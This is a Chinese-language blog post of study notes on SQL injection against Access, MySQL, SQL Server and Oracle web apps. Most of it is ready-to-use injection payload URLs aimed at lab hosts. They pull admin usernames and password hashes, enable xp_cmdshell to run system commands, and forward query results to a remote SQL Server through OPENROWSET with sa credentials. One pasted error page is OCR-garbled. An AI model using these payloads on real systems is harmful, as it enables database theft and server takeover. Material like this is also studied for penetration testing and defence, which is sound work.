2021-3-10 SQL注入

一、access注入

1、什么是access数据库?

  • access数据库与其他数据库不一样,他没有存储表的库,所以只能猜表。

2、access数据库是怎样的一个结构!

  • 字段
  • 数据

3、判断是否存在注入

  • and方法判断

        [http://127.0.0.1:99/ProductShow.asp?ID=104](http://127.0.0.1:99/ProductShow.asp?ID=104) and 1=1 正确页面
        [http://127.0.0.1:99/ProductShow.asp?ID=104](http://127.0.0.1:99/ProductShow.asp?ID=104) and 1=2 错误页面 or 判断
    
  • or 方法判断

        [http://127.0.0.1:99/ProductShow.asp?ID=-104](http://127.0.0.1:99/ProductShow.asp?ID=-104) or 1=2 错误页面
        [http://127.0.0.1:99/ProductShow.asp?ID=104](http://127.0.0.1:99/ProductShow.asp?ID=104) or 1=1 正常页面
    

4、如何猜表!

  • 页面返回正常 说明 表存在

        [http://127.0.0.1:99/shownews.asp?id=110](http://127.0.0.1:99/shownews.asp?id=110) and exists (select * from admin)
    

5、如何猜列!

       [http://127.0.0.1:99/shownews.asp?id=110](http://127.0.0.1:99/shownews.asp?id=110) and exists (select username from admin)
       [http://127.0.0.1:99/shownews.asp?id=110](http://127.0.0.1:99/shownews.asp?id=110) and exists (select password from admin)

6、如何猜数据长度!

  • ![image.png](https://img-blog.csdnimg.cn/img_convert/b56a4490d18bfb4379fd45596e30d409.png#align=left&display=inline&height=683&margin=[object Object]&name=image.png&originHeight=683&originWidth=765&size=54987&status=done&style=none&width=765)查询字段的长度

    http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 len(username) from admin)=8
    等于 8 就是确定数据的长度 也可以使用大于(>)小于(<)个人认为 等于(=)最
    好确定长度

  • 查询数据asccii码

    a).mid()截取位置
    b)asc()ascii码
    

7、首先按照常用接收方式的不同可以分为哪三种?

  • GET

a)、GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编 码
b)、URL 最长的长度 https://www.cnblogs.com/cuihongyu3503319/p/5892257.html

  • POST

c)、POST 请求参数是放在请求 body 里的,长度没有限制

  • COOKIE

d)、cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取参数。

8、注入数据类型的区分是什么?

  • int整形

  • select * from user where id=1

  • sting字符型

  • select * from user where username=‘admin’

  • like 搜索型

  • select * from news where title like ‘标题’

  • 以上除了第一种以外,其余在判断注入或查询语句的时候都要进行闭合,不闭合SQL语句不仅会出错,可能与原意不一样,会造成错误的判断。

9、注入方法的区分有什么?

  • 联合查询注入 union select 联合两个表

  • 报错注入 数据库报错信息 进行注入

  • 盲注入

    a)  布尔注入
    b)时间型注入
    

二、mysql+php 注入

1、mysql的注释符号有哪些?

  • –空格
  • /里面的内容都会被注释/
  • 以上用于注释后面语句 不再执行

2、注入怎样查询系统信息函数?

  • version() mysql版本
  • user() 数据库用户名
  • database() 数据库名
  • @@datadir数据库路径
  • @@version_compile_os 操作系统版本

3、联合查询 union select!

4、怎么查询数据库名?

  • 把数字替换成你要查询的函数名database()当前数据库名

7、怎么查询表名?

  • mysql 里面有一个库information_schema里面存在很多信息,其中包括所有库名,表名,字段名,因为可以利用这个库来获取当前库的表

8、怎么查询字段?

  • 查询字段也是查询infromation_schema库里的信息

三、mysql+php报错注入

1、怎样判断注入?

  • and 1=1
  • and 1=2

![image.png](https://img-blog.csdnimg.cn/img_convert/f402447fae987b31f7ddf5b8754affcc.png#align=left&display=inline&height=297&margin=[object Object]&name=image.png&originHeight=297&originWidth=774&size=31716&status=done&style=none&width=774)

2、实战报错注入

  • 查看当前用户名

    http://169.254.82.111:81/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select
    user()),0x7e)))
    ![image.png](https://img-blog.csdnimg.cn/img_convert/333672de7a1c5993da4ca00c3fd2070e.png#align=left&display=inline&height=161&margin=[object Object]&name=image.png&originHeight=161&originWidth=1052&size=19516&status=done&style=none&width=1052)

  • 查看root密码

http://169.254.82.111:81/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select password
from mysql.user),0x7e)))
![image.png](https://img-blog.csdnimg.cn/img_convert/866a392f9a1e0fbabbcc02ce239cedcf.png#align=left&display=inline&height=166&margin=[object Object]&name=image.png&originHeight=166&originWidth=1160&size=21680&status=done&style=none&width=1160)

  • 查询库

http://169.254.82.111:81/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select
(select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM
information_schema.schemata LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)![image.png](https://img-blog.csdnimg.cn/img_convert/915fec50c1d150ba25b9bb68f885d23d.png#align=left&display=inline&height=226&margin=[object Object]&name=image.png&originHeight=226&originWidth=765&size=19034&status=done&style=none&width=765)

  • 查询第二个库如上图将0改为1则可,同理第三个库则将0改为2, 一直往后推也可以得到所有

库的名。

  • updataxml方法查询数据

http://169.254.82.111:81/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

  • 上面这种查询 只能查询 32 位 所以有些部分查询不出来。可以先查询密文 或者先查询长度的

再进行字符长度的截取。

http://169.254.82.111:81/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)

  • LENGTH 函数 查询的长度为 40

  • SUBSTRING()字符串截取函数

  • 查询1-32位

http://target_sys.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit
0,1),0x7e),1)
admin:e10adc3949ba59abbe56e057![image.png](https://img-blog.csdnimg.cn/img_convert/4187c05f34ef51529da53b28d995125f.png#align=left&display=inline&height=178&margin=[object Object]&name=image.png&originHeight=178&originWidth=592&size=16526&status=done&style=none&width=592)

  • 查询 32-40 f20f883e

http://target_sys.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,40) FROM admin limit
0,1),0x7e),1)
admin:e10adc3949ba59abbe56e057f20f883e     最后将字符盘拼接起来就是完整的数据![image.png](https://img-blog.csdnimg.cn/img_convert/52f6c3693121e83a3068684deaf890e0.png#align=left&display=inline&height=206&margin=[object Object]&name=image.png&originHeight=206&originWidth=616&size=15482&status=done&style=none&width=616)

四、mysql+php延时注入

1、什么是延时注入?

  • 延时注入属于盲注入的一种,这种注入 通过mysql里面的sleep()函数,这个函数的意思是延时执行多少秒
  • 而sleep通常与if一起使用 例如 select if(‘root’=‘root’,sleep(3),0)
  • 延时方法是先获取数据的长度

2、怎么获取库名?

  • 获取库名也是同样的语句只是把查询的内容改变一个查询库 select database()->target_sys

3、怎么获取表?

  • 查询所有表的长度 长度为30
  • select if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES

where TABLE_SCHEMA=database()))=30,sleep(5),0)![image.png](https://img-blog.csdnimg.cn/img_convert/84114490fb41c4c6da508fb0f76a4d96.png#align=left&display=inline&height=900&margin=[object Object]&name=image.png&originHeight=900&originWidth=1600&size=98525&status=done&style=none&width=1600)

  • 查询所有表 第一个字符为97ascii为a查询到40
  • select if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from

information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=97,sleep(5),0)![image.png](https://img-blog.csdnimg.cn/img_convert/81f882ec017b1c255018ab009d30a417.png#align=left&display=inline&height=900&margin=[object Object]&name=image.png&originHeight=900&originWidth=1600&size=99079&status=done&style=none&width=1600)

4、怎么查询字段?

  • 查询admin表的字段把admin转换成十六进制0x61646d696e带入语句

  • 首先确认长度

  • select if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS

    where TABLE_NAME=0x61646d696e))=20,sleep(5),0)
    
  • 查询数据

select if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from
information_schema.COLUMNS where TABLE_NAME=0x61646d696e),1,1))=105,sleep(5),0)![image.png](https://img-blog.csdnimg.cn/img_convert/28ffbb30819e4b90fc655d59d187fe48.png#align=left&display=inline&height=900&margin=[object Object]&name=image.png&originHeight=900&originWidth=1600&size=96171&status=done&style=none&width=1600)

五、sqlserver联合注入

1、什么是sqlserver?

  • sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012、win2018
  • 数据库版本 SQL2008、SQL    2012

2、注释符号有哪些?

  • –空格 当行注释
  • /* */ 多行注释

3、判断是否注入!

  • '单引号是否报错
  • and 1=2
  • and 1=1

4、判断列数

  • order by
  • http://169.254.82.111:84/index.aspx?id=1 order by 3 换成4则会报错
  • ![image.png](https://img-blog.csdnimg.cn/img_convert/d0a5bebaac2ecc21d34d0ac35388a410.png#align=left&display=inline&height=215&margin=[object Object]&name=image.png&originHeight=215&originWidth=693&size=19945&status=done&style=none&width=693)

5、联合查询

![image.png](https://img-blog.csdnimg.cn/img_convert/cd81ca603b3d17fb818c4772103bacb4.png#align=left&display=inline&height=240&margin=[object Object]&name=image.png&originHeight=240&originWidth=749&size=21759&status=done&style=none&width=749)

6、怎么查询系统信息

  • db_name() 数据库名
  • @@version 版本信息
  • User_Name() 当前用户
  • host_name() 计算机名称
  • ![image.png](https://img-blog.csdnimg.cn/img_convert/07b607fc2df345478eab9b7a297ecc3c.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37529&status=done&style=none&width=890)

7、怎么查询数据

![image.png](https://img-blog.csdnimg.cn/img_convert/ef14744cb877006d70537de3e41e5cac.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=35242&status=done&style=none&width=890)

六、sqlserver报错注入

1、什么是sqlserver报错注入

  • SqlServer在语句执行错误的时候会报错,并且会在网页显示出来。
  • 环境 sql2008+aspx

2、怎样显示系统信息?

  • and@@version>0利用mysql在转换类型的时候就出错时,会显示系统信息。
  • ![image.png](https://img-blog.csdnimg.cn/img_convert/bfc0fa5079047e83de1669f75c2ea04f.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=74230&status=done&style=none&width=890)

3、怎么爆出数据库

169.254.82.111:81/articlephp?X
在将nvarchar值’mydb’转换成x
6之C合

不安全http://169.254.82.111:84/idexaspxid-1%%
网站开发
应用
英文翻译学习
百度
FG
编程学习
tools
""应用程序中的服务器错误.
在将nvarchar
har值mydb’转换成数据类型int时失败.
说明;,行当前W请明间,出现处理的异,请俭管性线信息,以了解有失诚霜以及代酒中导误批的细息.
异常详细信息:SyemDaasqclnon在将narch败
源错误:
只有在调试最式下选行铜时,生成此处理的源代码才会显示出若要用比功请执行以下少骗之一,后求咖
1.在产生错误的文件的顶部添加一条"Debug-true"指令.例如:
KameaROM

4、如何爆出数据

http://169.254.82.111:84/index.aspx?id=1 and (select top 1 password from admin)>0
http://169.254.82.111:84/index.aspx?id=1 and (select top 1 username from admin)>0
![image.png](https://img-blog.csdnimg.cn/img_convert/46e64db6079e87ef9f40154d1e61d816.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=62531&status=done&style=none&width=890)
![image.png](https://img-blog.csdnimg.cn/img_convert/0d0b5b763155067abd81b8989605dd06.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=58009&status=done&style=none&width=890)

七、sqlserver快速爆表、爆列、爆数据

1、如何查询当前用户?

http://169.254.82.111:84/index.aspx?id=1 and user_name()>1
![image.png](https://img-blog.csdnimg.cn/img_convert/a50ebf0b75303d4db8886530a463b37c.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=55074&status=done&style=none&width=890)

2、在根据当前用户爆出所有表

http://169.254.82.111:84/index.aspx?id=1 and(select TABLE_NAME from
information_schema.TABLES where TABLE_SCHEMA=‘dbo’ FOR XML PATH)>1
![image.png](https://img-blog.csdnimg.cn/img_convert/327e8f823fd9d1c97247824fa52e8a8d.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=71934&status=done&style=none&width=890)

3、怎么爆出所有的列?

http://169.254.82.111:84/index.aspx?id=1 and(select COLUMN_NAME from
information_schema.COLUMNS where TABLE_NAME=‘admin’ FOR XML PATH)>1
![image.png](https://img-blog.csdnimg.cn/img_convert/e95cb1e7eea045d7e93963a81e5f7d53.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=80495&status=done&style=none&width=890)

4、怎么爆出数据?

http://169.254.82.111:84/index.aspx?id=1 and ( select username,password from
admin FOR XML PATH)>1
![image.png](https://img-blog.csdnimg.cn/img_convert/1cea7fe618cca7910faeab23fece457f.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=63873&status=done&style=none&width=890)

八、sqlserver执行系统命令

1、怎样实现两条SQL语句是用分号隔开

  • select * from art; select * from admin

2、如果用户拥有管理员sa权限则可以用哪个命令重新开启它?

  • ;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure

‘xp_cmdshell’, 1;RECONFIGURE;
![image.png](https://img-blog.csdnimg.cn/img_convert/7b764e41d18410e531504b5f6cb2eccf.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37690&status=done&style=none&width=890)

  • 命令解析

EXEC sp_configure ‘show advanced options’,1//允许修改高级参数
RECONFIGUREEXEC sp_configure ‘xp_cmdshell’,1 //打开 xp_cmdshell 扩展
RECONFIGURE

3、执行系统命令

options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
![image.png](https://img-blog.csdnimg.cn/img_convert/a01e350cc8b81fa4d3d7abcbff166fac.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37429&status=done&style=none&width=890)

  • 执行系统命令 把命令结果输出到指定文件

http://www.demo1.com/index.aspx?id=1;EXEC master.dbo.xp_cmdshell
‘ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip.txt’
![image.png](https://img-blog.csdnimg.cn/img_convert/bed71154502851e7aea10d967df6a0b6.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37361&status=done&style=none&width=890)

九、sqlserver openrowset 转发利用

1、简介和原理

  • 适用于盲注入,页面不返回信息,使用这种注入方法,需要一台带有SQLserver的机器。
  • 原理就是把当前数据转发到远程的sqlserver上、

2、开始扩展

http://169.254.82.111:84/index.aspx?id=1;exec sp_configure ‘show advanced options’,1
reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure
![image.png](https://img-blog.csdnimg.cn/img_convert/a6ca3b1763f19a790838f882c0b6971f.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37788&status=done&style=none&width=890)

3、怎样实现两边创建临时表

  • create table ##nonamed( dir ntext, num int )

![image.png](https://img-blog.csdnimg.cn/img_convert/2c5a722b052cd82d4a159ce0319d6536.png#align=left&display=inline&height=447&margin=[object Object]&name=image.png&originHeight=447&originWidth=654&size=31281&status=done&style=none&width=654)

![image.png](https://img-blog.csdnimg.cn/img_convert/5223e755eb252713b2801b580a27d174.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=55280&status=done&style=none&width=890)

4、怎样查询路径?

  • 向 nonamed 表插入 c 盘下路径的数据

http://169.254.82.111:84/index.aspx?id=1;insert %23%23nonamed execute
master…xp_dirtree ‘c:/’,1
这里就是把数据转发到远程 169.254.82.111 sqlserver 上
http://169.254.82.111:84/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’,
‘server=169.254.82.111;uid=sa;pwd=123456’, ‘select * from %23%23nonamed’ ) select *
from %23%23nonamed
![image.png](https://img-blog.csdnimg.cn/img_convert/705b9b008a8c6827b442c15ba27b7205.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=39716&status=done&style=none&width=890)
在远程 sqlserver 执行这个命令 就可以获取 数据
select * from %23%23nonamed 如下图:![image.png](https://img-blog.csdnimg.cn/img_convert/c1a25b0cc034844214bbf4cc179a7264.png#align=left&display=inline&height=545&margin=[object Object]&name=image.png&originHeight=545&originWidth=750&size=32439&status=done&style=none&width=750)

十、sqlserver 延时注入

1、简介

  • WAITFOR 是 SQLServer 中 Transact-SQL 提供的一个流程控制语句。它的作用就是等待特定时

间,然后继续执行后续的语句。它包含一个参数 DELAY,用来指定等待的时间。

2、怎样判断注入呢?

![image.png](https://img-blog.csdnimg.cn/img_convert/ef8dc91b2196dc0267887ad2c48ce0ad.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=34034&status=done&style=none&width=890)

3、怎样查询信息?

  • 数据库版本(select@@version)
  • 数据库名(select db_name())
  • 获取密码(select password from admin)

4、截取字符判断法

delay ‘0:0:5’
![image.png](https://img-blog.csdnimg.cn/img_convert/ff1293692fb284c01a1d485e671ebb70.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=34363&status=done&style=none&width=890)

‘0:0:5’
![image.png](https://img-blog.csdnimg.cn/img_convert/0870e1afec96d26fe846ab00bfd31c96.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=38065&status=done&style=none&width=890)

5、ASCII码半截取法

  • ASCII把字符转换ASCII码

http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109
WAITFOR DELAY ‘0:0:5’ –
![image.png](https://img-blog.csdnimg.cn/img_convert/844eeec12f05ae8bea3012392da2bd85.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=36445&status=done&style=none&width=890)

  • select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY

‘0:0:5’
![image.png](https://img-blog.csdnimg.cn/img_convert/0bc2bf15cf7b27ef6ab2a7846301f70a.png#align=left&display=inline&height=453&margin=[object Object]&name=image.png&originHeight=453&originWidth=691&size=37941&status=done&style=none&width=691)
select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY
‘0:0:5’
![image.png](https://img-blog.csdnimg.cn/img_convert/f82dbe486b0550fe500a9064c7f10d14.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=35489&status=done&style=none&width=890)

1-126 遍历去对比要好一些 假如数据大的话就可以节省很多的时间。
0-126 共 127 个
大于 50 51-127 74 127-74

十一、oracle + jsp 联合查询注入

1、注释符号

  • –空格 当行注释
  • /* */ 多行注释

2、判断是否注入

  • and 1=1 –
  • and 1=2 –

3、列数

![image.png](https://img-blog.csdnimg.cn/img_convert/8c18a63b4f870ca68ae93cef94ffaec5.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=31308&status=done&style=none&width=890)

4、联合查询了解

  • 因为oracle对列的类型比较严谨,所以要用null可以匹配任意类型

  • Oracle 中的 dual 表是一个单行单列的虚拟表

  • Dual 是 Oracle 中的一个实际存在的表,任何用户均可读取。

  • 所以可以通过这个 dual 表 来显示列数。

  • http://www.jsporcle.com/a.jsp?username=SMITH%27 union select

    null,null,null,null,null,null,null,null from dual --
    

![image.png](https://img-blog.csdnimg.cn/img_convert/a9442507c6ef666f3ebae9e4a7d9a0cb.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=43925&status=done&style=none&width=890)

5、怎样获取oracle信息

![image.png](https://img-blog.csdnimg.cn/img_convert/0513face6a8f32db8435f4bd073cd1c8.png#align=left&display=inline&height=135&margin=[object Object]&name=image.png&originHeight=135&originWidth=915&size=37482&status=done&style=none&width=915)

  • (1) 当前用户权限 (select * from session_roles)
  • (2) 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
  • (3) 服务器出口 IP (用 utl_http.request 可以实现)
  • (4) 服务器监听 IP (select utl_inaddr.get_host_address from dual)
  • (5) 服务器操作系统 (select member from v$logfile where rownum=1)
  • (6) 服务器 sid (select instance_name from v$instance)
  • (7) 当前连接用户 (select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual)
  • (8) 当前用户 (SELECT user FROM dual)

6、怎样查询数据?

![image.png](https://img-blog.csdnimg.cn/img_convert/5c982394275c47d471a67e68eb9e7c74.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=40175&status=done&style=none&width=890)

十二、高级注入技巧 位移注入

1、简介

  • 这种注入方式合适在找到表找不到字段的情况下使用。
  • 这种注入方式 需要联合两个表 所以这种注入也是联合查询注入的一种。

2、原理是什么?

  • 在 SQL 中查询 select * from admin 星号代表所有字段。
  • 而且 select * from admin 的结果等于下面几种结果

a) select admin.* from admin
b) select admin.id,admin.username,admin.password from admin
c) select id,username,password from admin

  • 在使用位移注入这种注入方法,需要确定当前表的,字段数
  • 表 article 的字段为 3 个
  • 使用联合语句 把另外一个表联合进来查询

a) select * from article where id=1 union select 1,2,3 from admin
b) admin 的表的字段数同样也是 3 个 把 admin.* 替换 1,2,3
c) select * from article where id=1 union select admin.* from admin

  • 语句并没有报错 因为列数一样 同样也会显示表 admin 里面的字段数据

3、网站测试

![image.png](https://img-blog.csdnimg.cn/img_convert/ef6f7ac5ee1fd53341ef0c4579f53520.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=30409&status=done&style=none&width=890)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值